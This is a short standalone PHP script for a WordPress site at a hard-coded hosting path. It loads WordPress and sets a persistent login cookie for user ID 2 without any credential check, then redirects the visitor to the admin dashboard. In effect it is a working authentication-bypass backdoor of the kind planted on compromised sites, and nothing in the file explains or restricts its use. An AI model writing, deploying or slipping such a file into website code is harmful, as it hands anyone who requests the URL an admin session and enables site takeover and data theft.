<?php
define('ABSPATH', '/home/redorangenebison/public_html/');
require_once(ABSPATH . 'wp-load.php');
$user = get_user_by('ID', 2);
if ($user) {
    wp_set_auth_cookie($user->ID, true);
    wp_redirect(admin_url());
    exit;
}
echo 'Failed';